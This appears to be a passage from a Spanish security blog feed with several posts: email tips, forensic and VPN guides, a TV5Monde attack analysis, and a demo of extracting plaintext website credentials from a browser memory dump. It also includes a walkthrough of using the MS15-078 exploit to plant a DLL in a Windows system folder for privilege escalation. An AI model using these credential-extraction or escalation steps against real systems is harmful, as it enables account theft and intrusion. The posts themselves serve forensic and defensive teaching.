4. Si no quieres que los cibercriminales anden trasteando tu correo para suplantar tu identidad o robarte información, protégelo con una contraseña segura. La mayoría de la gente no es consciente de la importancia de las contraseñas ni saben que muchas de ellas podrían ser hackeadas en tan sólo unos segundos. Es importante utilizar una contraseña distinta para cada cuenta, aplicación… y si tu problema es tu mala memoria para recordar todas ellas, utiliza un gestor de contraseñas que lo recuerde por ti. Crea contraseñas robustas que contengan letras, números y símbolos con un mínimo de 8 caracteres, cámbialas periódicamente y no las compartas con nadie.

5. Sabemos que el spam es todo el correo basura que recibimos casi a diario. Se trata de correo con publicidad que no hemos solicitado en la mayoría de los casos. Sin embargo, a pesar de molesto, ya que se transmite en cadena y de forma masiva, puede ser perjudicial y llevar consigo contenido engañoso y falso. Protege tu dirección de correo facilitándola solamente a fuentes que creas de confianza, utiliza dos direcciones de correo, una más personal para temas profesionales y otra para facilitar en casos en los que no se tenga confianza plena sobre el destinatario, revisa las condiciones de privacidad siempre que te registres en un nuevo sitio, no publiques tu dirección de correo (si es necesario hacerlo, utiliza trucos como escribir la arroba con letras para que ningún programa pueda encontrarla al rastrear la web) y, sobre todo, nunca contestes a este tipo de correos. Si respondes estás dando confirmación sobre tu email y, por lo tanto, el pistoletazo de salida para que sigas recibiendo correos de este tipo.

Leyendo todo esto y viendo a lo que nos exponemos hoy en día con el uso del email, digo yo, que si el tal Heinrich von Stephan levantara la cabeza, ¿qué diría?, ¿qué le parecería todo este jaleo? Apuesto que, junto a más de uno, soltaría el típico comentario de “¡Esto antes no pasaba!” Pero como no nos queda otra, nos quedaremos con las ganas de saberlo.

¡Feliz día mundial del correo!

(Fuente de las imágenes: www.pixabay.com y colnect.com)

La entrada 9 de octubre, día mundial del correo aparece primero en Security Art Work.

Son muchas las aplicaciones web que, como es lógico, protegen sus comunicaciones cifrándolas, con HTTPS por ejemplo. De acuerdo, a priori los datos que intercambiemos con la aplicación viajarán cifrados, estando a salvo de escuchas indiscretas. Pero ¿qué ocurre con estos datos de camino al navegador web?, es decir, entre el usuario que introduce los datos y el cliente web que establecerá la conexión con la aplicación.

Veamos lo que sucede desarrollando una pequeña prueba de concepto. Para ello, pondremos de ejemplo un par de sitios web mundialmente conocidos: Facebook y Linkedin, donde presumiblemente se invierte más en materia de seguridad y donde cada vez es más difícil detectar vulnerabilidades relevantes.

Accedemos a cada uno de los sitios y procedemos a autenticarnos (seguro que tenemos cuenta en ambos). Nos ponemos a la escucha del proceso de autenticación, utilizando un proxy como BurpSuite o, para este caso, alguno menos potente, como el complemento de Firefox denominado Live HTTP Headers.

Como podemos observar en las ilustraciones 1 y 2, se interceptan claramente los nombres de los campos del formulario donde se introducen las credenciales, además de los valores que contienen, todo en texto claro.

Ilustración 1: Interceptando autenticación en Facebook

Ilustración 2: Interceptando autenticación en Linkedin

Este funcionamiento no es el adecuado, ya que pensemos lo que ocurriría si un usuario está infectado con el típico malware/adware que realiza Browser Hijacking (algo muy común en la mayoría de usuarios de todo el mundo), es decir, que interfiere en el normal uso del navegador web por parte del usuario monitorizando su actividad. Éste tendría la capacidad de interceptar las citadas comunicaciones entre usuario y cliente web, obteniendo credenciales de multitud de sitios web, no solo los mencionados como ejemplo. Son muchas las páginas web que contienen esta deficiencia, incluso sitios especialmente sensibles. Es lo que se denomina Man-In-The-Browser (MitB).

Este comportamiento también puede ser interesante en el ámbito forense, ya que, en la mayoría de ocasiones, esta actividad queda grabada en memoria. Realicemos una pequeña prueba para demostrarlo.

Como ejemplo, tenemos un entorno con el sistema operativo Windows 7, aunque el esquema a seguir es similar para otros sistemas. Comenzamos realizando una captura de la memoria RAM, utilizando para tal fin la herramienta DumpIt. Basta con ejecutarla y confirmar que deseamos realizar la captura de memoria (ilustración 3).

Ilustración 3: Realizando captura de memoria RAM con DumpIt

Analicemos ahora dicha captura con Volatility Framework (versión 2.4). En primer lugar, obtenemos información acerca de la captura de memoria que estamos analizando:

python vol.py -f WIN7LAB-PC-20150922-215129.raw imageinfo

Como se puede observar en la ilustración 4, podemos determinar, entre otras cosas, el profile de la captura de memoria, útil para indicarle a Volatility qué se está analizando. Como ya hemos comentado, se trata de un Windows 7 de 64 bits (Win7SP1x64).

Ilustración 4: Obteniendo información de la captura de memoria

Obtenemos ahora el listado de los procesos en memoria (ilustración 5):

python vol.py -f WIN7LAB-PC-20150922-215129.raw --profile Win7SP1x64 pslist

Ilustración 5: Listado de procesos en memoria

En nuestro caso, nos interesa especialmente el proceso del o de los navegadores web que hubiera abiertos en el momento de la intervención. Por tanto, debemos extraer dicho proceso (ilustración 6), pero incluyendo también todas las páginas en memoria que estuviera utilizando, que es donde se encuentra la información relevante.

python vol.py -f WIN7LAB-PC-20150922-215129.raw --profile Win7SP1x64 memdump -p 3304 --dump-dir ./

Ilustración 6: Extrayendo proceso firefox.exe

Ahora que tenemos el proceso, con la ayuda de strings, podemos ver el contenido imprimible. Podemos comprobar, realizando un simple grep, que, efectivamente, las comunicaciones identificadas quedan almacenadas en memoria.

Ilustración 7: Patrón almacenado en memoria

Siempre se sigue el mismo patrón en el proceso de autenticación de cada uno de los sitios web de ejemplo. Esto nos facilita la creación de un pequeño script en python3 que automatiza la extracción de credenciales (parserTest.py), tal y como se aprecia en la ilustración 8.

Ilustración 8: Código parserTest.py

El funcionamiento del script es muy simple, analiza cierto contenido pasado como parámetro en busca de los patrones identificados. Según el caso, estaremos hablando de unas posibles credenciales de Facebook o Linkedin. Como observamos, está especialmente diseñado para esta prueba de concepto, pero se puede extrapolar a otros casos, solo hay que completarlo.

Terminamos esta prueba de concepto, utilizando el comentado script para automatizar la extracción de credenciales en claro. Para ello, volcamos la salida de strings a un fichero, y ese fichero es el que pasamos como parámetro a nuestro pequeño extractor. Finalmente, como se puede observar en la ilustración 9, conseguimos obtener las claves.

strings 3304.dmp > firefoxStrings
python parserTest.py firefoxStrings

Ilustración 9: Obteniendo credenciales en claro

¿Cómo solventar el problema?

El comportamiento que aquí se comenta es bien fácil de solucionar. Para empezar, el nombre de los campos del formulario de autenticación se debe randomizar, es decir, cada vez que se cargue la página, el nombre de los campos (input) será diferente. De esta forma, no se podrán identificar los elementos que pueden contener información sensible.

A continuación, debe establecerse algún algoritmo de codificación para los parámetros de entrada, es decir, cada vez que se introduzca un carácter en un campo input que pueda ser sensible, se debe codificar de cierta forma. De esta manera, las credenciales ya no estarán en claro y tampoco se podría identificar una posible contraseña dado un nombre de usuario o email, ya que ambos estarán codificados, así como los campos que lo contienen.

Con estas sencillas técnicas mejoraríamos la seguridad de la aplicación web, evitando que nuestras credenciales sean susceptibles a escuchas o extracción a partir de memoria RAM.

La entrada Entre el navegador y yo. Extracción de credenciales en claro aparece primero en Security Art Work.

A la hora de realizar una adquisición de evidencias en análisis forense, es importante tener en cuenta el orden de adquisición y obtener las evidencias volátiles en primer lugar. Aparte de la memoria RAM, debemos considerar otros elementos fundamentales como pueden ser registros de la caché, tablas de enrutamiento, caché ARP, procesos, etc.

En este post se pretende hacer una recopilación de todos aquellos comandos y herramientas, en entornos Windows, que nos permiten obtener dicha información volátil y sensible antes de realizar el volcado de la RAM. Aunque es cierto que alguna de esta información se puede obtener mediante dicho volcado, no está de más conocer estas herramientas para obtener los datos de una forma rápida. Una buena práctica es ejecutar todos estos comandos en un script y obtener toda la información en una única ejecución.

(Sobra decir que los comandos y aplicaciones reflejados a continuación se ejecutan bajo la responsabilidad del lector, y que recomendamos “trastear” un poco con ellos para conocerlos antes de aplicarlos a un forense real)

Información de Procesos

• Procesos en ejecución en memoria. Herramienta utilizada: PsList.

  pslist.exe /accepteula >> Procesos.txt

• Especificación de procesos en ejecución de procesos y consumo de recursos.

  tasklist.exe >> Procesos_en_uso.txt

• Procesos en ejecución e información de cada proceso. Herramienta utilizada: CProcess.

  cprocess.exe /stext Procesos_de_usuarios.txt

• Árbol jerárquico de los procesos en ejecución.

  pslist.exe -t /accepteula >> procesos_arbol.txt

• Detalle de todos los procesos en ejecución y listado de librerías DLL asociados a cada proceso. Herramienta utilizada: ListDLL.

  listdlls.exe /accepteula >> Procesos_dependencias.txt

• Listado agrupado de procesos. Herramienta utilizada: OpenPorts.

  openports.exe -path >> Mapa_agrupado_puertos_procesos.txt

• Información sobre los ficheros y directorios que un programa tiene abiertos. Herramienta utilizada: Handle.

  Handle.exe /accepteula >> Procesos_manejadores.txt

Información de Red

• Configuración de las interfaces de red.

  ipconfig /all >> Configuracion_red.txt

• Adaptadores de red en modo promiscuo. Herramienta utilizada: PromiscDetect.

  promiscdetect.exe >> Adaptadores_promiscuos.txt

• Listado de las conexiones de DNS que se han realizado.

  ipconfig /displaydns >> DNS_consultas.txt

• Muestra las estadísticas del protocolo y las conexiones actuales de TCP/IP usando NBT (NetBIOS sobre TCP/IP).

  nbtstat -s >> Sesion_netbios.txt

• Información de la cache NetBios.

  nbtstat -c >> Cache_netbios.txt

• Transferencia de archivos sobre NetBIOS.

  net file >> transferencia-ficheros-sobre-netbios.txt

• Caché ARP.

  arp -a >> arp-cache.txt

• Listado de conexiones activas.

  netstat -an |findstr /i "estado listening established" >> Conexiones_activas.txt

• Relación de aplicaciones con puertos abiertos.

  netstat -anob > Aplicaciones_PuertosAbiertos.txt

• Tabla de enrutamiento: tabla de rutas de las redes accedidas, la máscara de red y la puerta de enlace.

  netstat -r >> Tabla_rutas.txt

• Conexiones activas, se especifica el protocolo, direcciones IP remotas y los puertos.

  netstat -ano >> Conexiones_activas.txt

• Fichero hosts.

  type c:\windows\system32\drivers\etc\hosts >> Hosts.txt

• Listado de todos los protocolos de red (FTP, Telnet, mailto…) que están instalados en el sistema. Herramienta utilizada: URLProtocolView.

  urlprotocolview.exe /stext Red_Protocolos.txt

Información de Ficheros

• Listado de las unidades de red “mapeadas”.

  net use > UnidadesMapeadas.txt

• Carpetas compartidas: listado de recursos compartidos.

  net share > CarpetasCompartidas.txt

• Listado de ficheros abiertos. Herramienta utilizada: OpenFilesView.

  START /WAIT openedfilesview.exe /stext Ficheros_abiertos.txt

• Ficheros remotos abiertos. Herramienta utilizada: PsFile.

  psfile.exe /accepteula >> Ficheros_remotos_abiertos.txt

Información de usuarios

• Usuarios remotos que han iniciado sesión.

  net sessions >> Usuarios_remotos_ip.txt

• Muestra las sesiones activas en el sistema. Herramienta utilizada: LogonSessions.

  logonsessions.exe /accepteula >> Sesiones_activas.txt

• Listado de usuarios que han iniciado sesión localmente en el equipo. Herramienta utilizada: PsLoggedOn.

  psloggedon.exe /accepteula >> Usuarios_inicio_sesion.txt

Información útil del sistema

• Tiempo de actividad del sistema: período desde que el equipo se encuentra encendido. Herramienta utilizada: Uptime.

  uptime.exe >> Tiempo_encendido.txt

• Contenido del portapapeles. Herramienta utilizada: Pclip.

  pclip.exe >> Conetenido_portapapeles.txt

• O bien con la herramienta InsideClipboard.

  InsideClipboard.exe /stext “Informacion_portapapeles.txt”

• Histórico de la consola de comandos.

  doskey /history >> "HistoricoCMD.txt

• Listado de servicios en ejecución.

  sc query >> servicios_ejecucion.txt

Ya que cada maestrillo tiene su librillo es posible que utilicéis o conozcáis herramientas similares que realicen la misma función, aun así, espero que os sea de utilidad esta recopilación.

La entrada Adquisición de evidencias volátiles aparece primero en Security Art Work.

Hoy en día es habitual conectarse desde diferentes lugares mediante los múltiples dispositivos que utilizamos de manera cotidiana: móviles, tablets, relojes, libros electrónicos o demás. Por supuesto, esto implica que nuestros datos están viajando por las conexiones de los propietarios de esas redes, lo que supone un gran riesgo de seguridad. Esto no necesariamente significa que el dueño sea “el malo”, simplemente puede ser negligente administrando su red; nunca se puede saber quién puede estar detrás de una red, por muy “honrado” que sea su propietario.

Con esto me estoy refiriendo en concreto a un enemigo, las redes WiFi; nos conectamos a ellas en cafeterías, parques, plazas, hoteles, casas de amigos… Y claro, siempre puede que haya alguien “pegando la oreja”.

Hay quien puede pensar que no tiene nada que ocultar, pero al margen del valor comercial de nuestros datos (navegación, información  para estudios comerciales, etc), puede haber otro tipo de amenazas: robo de datos bancarios, cuentas de redes sociales, suplantación de identidad y otras cosas que es mejor ni imaginar.

Por ello hoy vamos a hablar de cómo evitar esto montando nuestra propia VPN. Antes de ponernos a ello, explicar brevemente qué conseguiremos y qué no montando una VPN.

En primer lugar una VPN es, citando a Wikipedia, una tecnología de red que permite una extensión segura de la red local (LAN) sobre una red pública o no controlada como Internet.

En otras palabras, una VPN nos permite enviar nuestro tráfico cifrado desde una conexión en la que no confiamos (WiFi del hotel, cafetería, etc.) hasta nuestro servidor (situado en nuestra casa), por donde saldrá a Internet como haría normalmente si estuviéramos físicamente allí (i.e., en nuestra casa). Gracias a esto, y asumiendo que nuestra casa es segura, nadie podrá espiar este tráfico en su camino hasta nuestra casa, desde donde podrá viajar normalmente desde una red que es segura.

Por último, antes de empezar hay que dejar claro que nuestro proveedor de servicios de Internet (y cualquiera que tenga acceso a esos datos) ve con normalidad el tráfico de salida.

Dicho esto, comencemos con el montaje. Vamos a utilizar una Raspberry Pi B, que es suficiente para lo que se quiere hacer. El coste aproximado del hardware es de unos 50€. En cuanto a software utilizaremos OpenVPN, un software libre para conexiones VPN. Son necesarios conocimientos mínimos de redes y ganas de probar cosas.

Este tutorial es válido para otras distribuciones, en líneas generales, y se asume que se tiene una Raspberry Pi montada y operativa.

Parte 1 – Montando el servidor

Empecemos, en primer lugar, instalando el paquete con sus respectivas dependencias:

sudo apt-get update
sudo apt-get install openvpn

Una vez instalado:

cp –r /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa
cd /etc/openvpn/easy-rsa

Editamos el archivo vars, con cualquier editor de texto (vim, nano, etc):

vim /etc/openvpn/easy-rsa/vars

Dejamos la siguiente linea así:

export KEY_SIZE=2048

Y establecemos al final del archivo los valores adecuados para los siguientes parámetros:

Ahora tenemos que generar los certificados una vez dentro del directorio easy-rsa:

source ./vars
./clean-all
./build-ca

Esto puede tardar un rato. Cuanto más alto se establezca el valor del export KEY_SIZE mayor será el tiempo que tarde en generarlo. Una vez generado el certificado, pulsamos enter según nos vaya preguntando, hasta que vuelva a aparecer el prompt.

Generamos el certificado del server:

./build-key-server saw

Pulsamos enter hasta que nos pregunte si deseamos firmar el certificado, después aceptamos 2 veces con Y.

Ahora generamos el certificado del cliente:

./build-key

Pulsamos enter hasta que nos vuelta a preguntar dos veces si queremos firmar el certificado como el paso anterior y ya tenemos certificado cliente.

Generamos la clave HMAC con el siguiente comando:

openvpn --genkey --secret ta.key
cp ta.key keys
cp -r easy-rsa/keys/ .

Una vez hecho esto, debemos modificar la configuración de la VPN para poner el servidor en funcionamiento:

vim /etc/openvpn/server.conf

Dejamos el archivo como el que aparece a continuación:

Habilitamos el bit de forwarding, descomentando esta línea para que funcione entre reinicios:

echo 1 > /proc/sys/net/ipv4/ip_forward

Eliminamos el # de la línea #net.ipv4.ip_forward=1 en el siguiente fichero:

vim /etc/sysctl.conf

Cargamos el módulo tun:

modprobe tun

Tras esto, habilitamos el servicio y lo arrancamos:

/etc/init.d/openvpn start

Añadimos la siguiente linea para el firewall:

iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -s "192.168.88.0/24" -j ACCEPT
iptables -A FORWARD -j REJECT
iptables -t nat -A POSTROUTING -s "192.168.88.0/24" -j MASQUERADE

Finalmente, solo guardar estas reglas para que funcionen tras un reinicio:

iptables-save

Parte 2 – Conectando el cliente

Ahora tenemos que configurar el cliente. Esto puede variar según el sistema operativo utilizado: Linux, Mac OSX, iOS, Android y si quieres, también en Windows.

En este caso vamos a configurarlo utilizando Linux. En concreto usando network-manager. El paquete a instalar puede variar entre distribuciones. En mi caso es:

openvpn
network-manager
networkmanager-openvpn

Necesitaremos para ello los siguientes certificados del servidor VPN:

• ca.crt
• lector1.crt
• lector1.key
• ta.key

La configuración es relativamente simple, abrimos el gestor y lo dejamos como aparece en la captura:

En pasarela, se debe poner por supuesto el dominio o IP correcto que necesitemos.

Seleccionamos opciones avanzadas y en la pestaña de general, revisamos que el puerto sea el correcto (1194), activamos las pestañas LZO y TCP (si no lo están). Añadimos en la pestaña autenticación TLS la clave ta.key y seleccionamos la dirección 1. Por último seleccionamos seguridad y cambiamos el campo cifrado a AES-256-CBC.

Y con esto ya estaría todo configurado y podríamos conectarnos en las redes públicas sin peligro de ser espiados (por la gente que está en esa red claro ;) ).

La entrada Montando nuestra VPN aparece primero en Security Art Work.

En estos tiempos que corren no creo que nadie se extrañe por decir que los ficheros eliminados de un sistema se pueden recuperar. De manera muy breve, diremos que cuando se elimina un fichero, lo único que se pierde es el acceso al mismo, es decir, se marcan los clúster o bloques como disponibles, pero el contenido íntegro del fichero sigue estando en el disco duro, pendrive, tarjeta de memoria o cualquiera que sea el medio de almacenamiento hasta que sea sobrescrito. Si hacemos el típico símil con una biblioteca, al eliminar un fichero, lo único que se destruye es la ficha que nos apunta hacia el libro en la estantería, pero el libro sigue en el mismo sitio y si somos meticulosos y pacientes, acabaremos por encontrarlo.

Independientemente de si al borrar seleccionamos enviarlo a la papelera de reciclaje  o eliminarlo de manera permanente, el fichero en ninguno de los dos casos desaparecerá del soporte de almacenamiento.

Las razones por las que los Sistemas Operativos se comportan de esta manera son eficiencia y rapidez. Eficiencia por el hecho de no sobrescribir un conjunto de datos inútilmente, que más tarde se sobrescribirá para utilizarse con otro fichero y rapidez ya que cambiar los descriptores de un bloque o clúster y marcarlo como disponible es prácticamente inmediato.

Por ello, a la hora de destruir información que por su naturaleza nos comprometa de alguna manera o simplemente no queramos que salga nunca a la luz, debemos utilizar una herramienta de borrado seguro de ficheros para garantizar nuestra privacidad. En sistemas MS Windows, existe una idea incorrectamente extendida y es pensar que con hacer un formateo lento del dispositivo, éste es borrado de manera segura. Esto es rotundamente falso y lo único que hace a diferencia del formato rápido es una comprobación de los sectores del disco para marcar los incorrectos y que éstos no sean utilizados.

Para llevar a cabo un borrado seguro necesitamos utilizar una herramienta que “sobrescriba” el área de datos donde estaba almacenado el fichero a eliminar. Este tipo de herramientas lo que hacen (básicamente) es escribir un número finito de pasadas sobre el área de datos a eliminar, de manera que si intentamos recuperar los ficheros originales, nos encontraremos bien con un patrón de datos aleatorios sin sentido o simplemente con “ceros”. Aún así, no vale con sobrescribirlos una sola vez, en función del nivel de seguridad que queramos otorgar a los datos, haremos más o menos pasadas.

En la siguiente imagen, vemos un resumen de los principales algoritmos estándar de borrado seguro.

La seguridad siempre es importante, aunque no debe convertirse en una obsesión, sobre todo si no tenemos secretos de estado que ocultar. Pero hay que tener en cuenta que nunca se nos olvide borrar de forma segura un disco si, por ejemplo, lo vamos a vender de segunda mano o a regalar a un amigo. Este hecho es extensible para móviles, tarjetas de memoria, pendrives, etc. porque nunca se sabe dónde pueden aparecer nuestros datos más personales el día de mañana.

Aunque hay multitud de herramientas, éstas son algunas recomendaciones para los distintos sistemas:

• GNU/Linux: Shred.
• MS Windows: Eraser.
• MacOS: Srm.
• Android: Secure Delete.

La entrada ¿Seguro que lo has borrado? aparece primero en Security Art Work.

En esta serie de artículos, hablaremos de cómo aprovechar la vulnerabilidad (MS15-078: creación de archivo en una ruta privilegiada) + dll hijacking para obtener privilegios de SYSTEM con un usuario no privilegiado.

En el boletín de seguridad del pasado 14 de julio, Microsoft publicó varios parches de seguridad que corrigen varias vulnerabilidades de escalada de privilegios. Entre ellas “DCOM DCE/RPC Local NTLM Reflection Elevation of Privilege”, esta vulnerabilidad permite realizar un ataque reflejado sobre una conexión local DCOM hacia un socket TCP que esté en escucha, lo que permite el acceso a un desafío de autenticación NTLM del usuario LocalSystem, el cuál puede ser reenviado al servicio de activación local DCOM.

Esta vulnerabilidad fue descubierta por James Forshaw del equipo de seguridad de Google (Project Zero), los detalles en profundidad se pueden encontrar aquí. Entre los detalles también se encuentra un PoC que aprovecha esta vulnerabilidad para escribir un archivo con un nombre ‘ (2)’ en la ruta ‘C:\Windows\’ con un usuario sin privilegios.

Este PoC no es muy útil debido a que no podemos controlar el nombre del archivo ni la ruta donde se escribe, pero Nick Landers de silentbreaksecurity.com ha modificado el PoC para poder controlar dicha función. El PoC lo podéis encontrar aquí. A continuación, explicamos qué acciones lleva a cabo el PoC:

1. Crea un junction (link entre carpetas) entre ‘C:\Windows\Temp\{Random}’ y ‘C:\Users\Public\Libraries\Sym’
2. Crea otra junction entre ‘\??\C:\Users\Public\Libraries\Sym’ y ‘\RPC Control\’
3. Crea un symlink entre ‘\RPC Control\ (2)’ y ‘\??\C:\Windows\System32\Evil.dll’
4. El exploit creará un archivo en ‘C:\Windows\Temp\{Random}’ que apunta a ‘C:\Windows\System32\Evil.dll’

Tras bajarnos el PoC, vamos a realizar algunas pruebas de concepto en nuestro Windows 8.1 con usuario sin privilegios (net users john /add).

Para ejecutar el exploit entraremos en la carpeta donde lo bajamos:
Trebuchet.exe RutaArchivoQueQueremosCopiar RutaDestinoDeNuestroArchivo

Ilustración 1: ms15-078

En nuestro caso, hemos copiado SecurityArtwork.dll a ‘C:\Windows\’ como se puede ver en la siguiente ilustración.

Ilustración 2: Archivo copiado a C:\Windows

Algunas cosas a tener en cuenta acerca del exploit:

• Microsoft.VisualStudio.OLE.Interop.dll debe estar en el mismo directorio que trebuchet.exe
• No podemos sobrescribir un archivo ya existente
• El exploit solo puede ser ejecutado cada 2-3 minutos
• El exploit solo funciona en Windows 7/8.1 x64 and x86 (aunque yo solo lo he probado en Windows 8.1 pro Build 9600)

Os seguiréis preguntando ¿qué conseguimos con esto? En los próximos posts veremos cómo podemos aprovechar un archivo en una ubicación privilegiada para realizar un ataque de DLL hijacking y obtener privilegios de SYSTEM desde un usuario sin privilegios, también cubriremos el proceso de identificación de las posibles DLLs que podemos suplantar.

La entrada Aprovechando la vulnerabilidad MS15-078 + DLL Hijacking (I) aparece primero en Security Art Work.

A pesar de que en la prensa española no tuvo mucho eco -para lo grave que fue según mi criterio-, el pasado abril la cadena TV5Monde sufrió un ciberataque sin precedentes en la historia de la televisión por el que, durante 18 horas y de manera sincronizada los atacantes, en nombre del Estado Islámico, se hicieron con 11 canales de televisión, sus perfiles en redes sociales, varios servidores y sitios Web. La ANSSI (Agence nationale de la sécurité des systèmes d’information) concluyó sin demasiados comentarios que los dispositivos de electrónica de red también se habían visto comprometidos, incluyendo decodificadores y multiplexores necesarios para la difusión de los programas.

Además de publicar propaganda ligada al EI, también se publicaron datos supuestamente confidenciales sobre soldados franceses junto con amenazas a sus familias (a posteriori el Ministerio de Defensa francés informó que no se había expuesto ningún dato confidencial).

Pero, ¿es posible tumbar 11 canales de TV sin acceso físico a dispositivos? La respuesta es sí, por ejemplo mediante dos métodos:

• Jamming: se trata de transmitir señales de radio de forma malintencionada con el objetivo de impedir una comunicación, alterándola o anulándola lo suficiente como para que el receptor no pueda interpretarla. Hay dos posibilidades, una es perturbar las frecuencias de televisión que emiten los repetidores, lo que es bastante complicado por su extensión geográfica y número, o bien perturbar las redes de radio de enlace que alimentan esos repetidores como radioenlaces o feed de satélite, lo que sería más efectivo. La historia de la guerra electrónica está llena de ejemplos de jamming; como cuando España interfirió la emisora Radio España Independiente, Estación Pirenaica, durante varias décadas en la dictadura de Franco o cuando Alemania interfería durante la Segunda Guerra Mundial desde la Holanda ocupada las señales provenientes de los holandeses exiliados en Reino Unido.

• Accediendo a la red de transporte: de esta forma se tiene acceso a todo el tráfico MPEG ¿qué podríamos hacer?

  • Ataque a la red de distribución; con ésto se consigue que la señal no se distribuya.

  • Ataque dirigido al hardware codificador, o a los equipos de control; con eso se consigue tomar el control de la cadena y emitir lo que quieras. En el caso de que la distribución desde la cadena haga mediante hardware hacia la red de transporte, porque es posible que se haga ya directamente por IP contra el Telepuerto, en cuyo caso podríamos…

  • Atacar el Telepuerto, con eso se consigue que la señal que llega por la red de transporte no suba al satélite.

TV5Monde es el cuarto canal de televisión global más grande después de MTV, CNN y BBC World y emite en 200 países, con lo que el impacto de este hackeo fue importante y se estiman unas pérdidas directas e indirectas de unos 11 millones de euros. El incidente hizo que tres ministros franceses salieran a dar explicaciones sobre lo ocurrido (Ministro del Interior, de Cultura y de Asuntos Exteriores), lo que pone de manifiesto su impacto.

Aunque inicialmente circulaban rumores de que los atacantes habían usado las contraseñas que accidentalmente fueron reveladas durante algunas entrevistas en este canal, una posterior hipótesis del ataque apoyada por Blue Coat o Trend Micro es que se usó el RAT KjW0rm VBS que se habría hecho con los sistemas a través de spear-phishing hacia los empleados en un ataque dirigido [1] que, hipotéticamente lleva en marcha desde enero.

Este malware permite, entre otras, llevar a cabo las siguientes acciones por parte de un usuario remoto a través de los siguientes comandos:

1. uninstall – remove dropped files and created registries.

2. RE – reloads script.

3. download – downloads and save fie from url.

4. update – overwrite script.

5. execute -execute file.

6. cmd – shell command.

7. Attack – continuous ping.

8. ourl – access a url.

9. close – terminate script.

10. restart – forced restart of machine command.

11. shutdown – forced shutdown of machine command

12. logoff – forced logoff of machine command

En enero ya hay referencias de este malware en un foro en árabe del sitio “dev-point.com”, un sitio dirigido para amantes de las IT pero del que puedes descargarte RATs, spyware, y otro tipo de malware. El hecho de que se pueda encontrar en un foro en lengua árabe podría reforzar la teoría de que detrás del ataque a TV5Monde podría estar efectivamente el Cyber Caliphate (del que ya hablamos en este blog). Sin embargo, una vez el RAT está circulando por este tipo de foros, cualquiera puede hacer uso del mismo, con lo que cualquier otro grupo o individuo podría estar detrás del ataque.

Según Trend Micro, el C&C en cuestión usado en el ataque ha estado ligado a otro malware, BKDR_BLADABINDI.C, con lo que sería posible que tras estas dos muestras de malware esten los mismos actores.

Dos meses después del ataque, el pasado junio, desde Fireeye y Trend Micro informaron que, tras haber analizado el incidente, tras esta operación no habría hackers ligados al EI sino a Rusia, y apuntan al grupo APT28, ya que además de muchas similitudes en el modus operandis de este grupo detectadas en el incidente de TV5Monde, los atacantes contra el canal francés usaron IP alojadas en el mismo bloque de IP perteneciente a una conocida infraestructura del grupo APT28.

Pero, ¿Rusia? ¿Qué pretendía con un ataque de tal envergadura contra un medio de comunicación? ¿Demostrar que podían hacerlo? ¿Maniobra de distracción? ¿Malas relaciones entre Francia y Rusia? Sabemos que a raíz de la crisis de Ucrania la tensión entre Francia y Rusia se acentuó, surgiendo por ejemplo el conflicto de los buques de guerra Mistral, uno de los conflictos diplomáticos más importantes entre estos dos países. Los motivos pueden ser muchos, pero el caso de que efectivamente fuese Rusia el origen.

Además, a lo largo de la historia, Rusia -al igual que otros Estados- ha llevado a cabo PSYOP (Psychological Operations) para desinformar, crear confusión o discordia en aras de su beneficio propio, y eso incluye operaciones en el ciberespacio tal y como -supuestamente- suele llevar a cabo el régimen Sirio en los últimos años.

Al hilo de estas operaciones psicológicas, el pasado junio The New York Times revelaba la (supuesta) existencia de una organización secreta de Rusia conocida como The Agency (Internet Research Agency), en la que sus empleados se dedican a publicar miles de mensajes online con el objetivo de manipular opiniones y apoyar al gobierno de Putin.

(Edificio de The Agency, en 55 de la calle Savushkina, San Petesburgo)

Una operación particular que llevó a cabo esta agencia (según el NYT) fue la creación de un bulo por el que se publicaron mensajes y vídeos de falsas explosiones en redes sociales que avisaban de un escape de gas tóxico en el estado de Lousiana. Podéis echar un vistazo al hashtag #ColumbiaChemicals para dar cuenta de lo que se estuvo publicando, e incluso el pánico cundió cuando apareció un video (falso) en el que ISIS se hacía responsable del escape de gas. En este completo análisis de RecordedFuture se puede ampliar esta información.

Pero esto no es nuevo, ya en el 2003 aparecen referencias a las Web Brigades centradas en emitir propaganda pro-rusa.

Por otro lado, ¿por qué APT28, que se ha caracterizado por ser una amenaza avanzada dedicada a obtener información de inteligencia de la forma más sigilosa, iba a implicarse ahora en una operación tan “ruidosa” de bandera falsa? ¿Por qué usar la infraestructura habitual y el mismo modus operandi? Otra hipótesis plausible sería que TV5Monde estuviera afectada simultánea e independientemente por el Cyber Caliphate y por APT28 (éstos últimos infiltrados por motivos propios de inteligencia como por ejemplo conocer las noticias antes de que se publiquen, indagar sobre las fuentes periodísticas).

Además, este ataque a la cadena de televisión tiene muchas similitudes a otros ataques perpetrados con anterioridad por parte del SEA (Syrian Electronic Army) -el autor también podría ser el SEA o alguien que antes perteneciera al SEA- o del propio Cyber Caliphate. Por ejemplo, el ataque al CENTCOM (Mando Central de los Estados Unidos), en el que sus cuentas en Twitter y en Youtube fueron comprometidas y en las que se usaron para difundir propaganda de ISIS y además se expuso información (supuestamente no confidencial) de militares estadounidenses.

Como siempre, las atribuciones de la autoría de un ataque en este tipo de situaciones son ambiguas y complejas. En este caso, ¿realmente fue el Cyber Caliphate? ¿Fue APT28? ¿Había dos grupos independientes persiguiendo diferentes objetivos? ¿Fue una maniobra de distracción para llevar a cabo otras acciones? ¿Realmente el objetivo era emitir propaganda pro-ISIS?

Bienvenidos a un episodio más de la, cada vez más presente, Guerra Fría en la era de Internet.

[1] Sin entrar en detalles técnicos de las vías de entrada de esta intrusión ya que no hay demasiados datos, sí que os puedo recomendar un análisis técnico muy completo de la infraestructura de TV5Monde que @pblumo publicó basándose en la recopilación de información de fuentes abiertas. Como veréis, en un ataque dirigido, con esta información estratégica del objetivo, es posible perpetrar muchas acciones contra la infraestructura de la cadena (incluidos los empleados).

La entrada (Cyber) Guerra Fría I: Ataque a TV5Monde aparece primero en Security Art Work.

30 años han pasado ya desde que el Doctor Emmet Brown y Marty McFly saltaran desde el 26 de Octubre de 1985 hasta tal día como hoy en la segunda parte de la saga cinematográfica de Regreso al Futuro: el 21 de octubre de 2015.

